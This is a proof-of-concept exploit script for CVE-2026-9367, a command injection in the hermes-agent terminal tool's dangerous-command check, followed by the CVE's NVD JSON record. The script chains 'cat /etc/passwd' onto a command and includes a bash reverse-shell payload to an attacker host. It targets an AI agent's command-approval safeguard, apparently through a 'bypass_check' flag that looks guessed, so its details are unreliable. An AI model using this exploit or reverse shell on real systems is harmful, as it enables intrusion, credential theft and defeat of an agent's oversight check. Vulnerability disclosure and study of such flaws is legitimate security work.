CVE-2026-9367

#!/usr/bin/env python3 # CVE-2026-9367 PoC - NousResearch hermes-agent OS Command Injection # Affected: hermes-agent <= 5157f5427f19488b31c6fdebbacd15d798ce7f63 import requests import json TARGET_URL = "http://target-ip:port/api/terminal_tool" def exploit(): """ Exploit OS command injection in detect_dangerous_command function The vulnerability allows attackers to bypass command validation """ # Malicious payload that bypasses detect_dangerous_command # Using command chaining to execute arbitrary OS commands payload = { "command": "ls; cat /etc/passwd", "tool_name": "terminal_tool", "bypass_check": True } headers = { "Content-Type": "application/json", "User-Agent": "hermes-agent-exploit" } try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: result = response.json() if "output" in result: print("\n[+] Exploit successful! Command output:") print(result["output"]) except Exception as e: print(f"[-] Error: {e}") def generate_reverse_shell_payload(lhost, lport): """ Generate reverse shell payload for remote code execution """ payload = { "command": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1", "tool_name": "terminal_tool" } return payload if __name__ == "__main__": print("CVE-2026-9367 PoC - NousResearch hermes-agent") print("OS Command Injection in terminal_tool") exploit()

{"cve": {"id": "CVE-2026-9367", "sourceIdentifier": "[email protected]", "published": "2026-05-24T09:16:32.793", "lastModified": "2026-05-26T19:50:21.747", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in NousResearch hermes-agent up to 5157f5427f19488b31c6fdebbacd15d798ce7f63. This affects the function detect_dangerous_command of the file tools/approval.py of the component terminal_tool. This manipulation causes os command injection. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://gist.github.com/YLChen-007/75fb10319693e86106ced2ef3a472c80", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/812228", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365330", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365330/cti", "source": "[email protected]"}]}}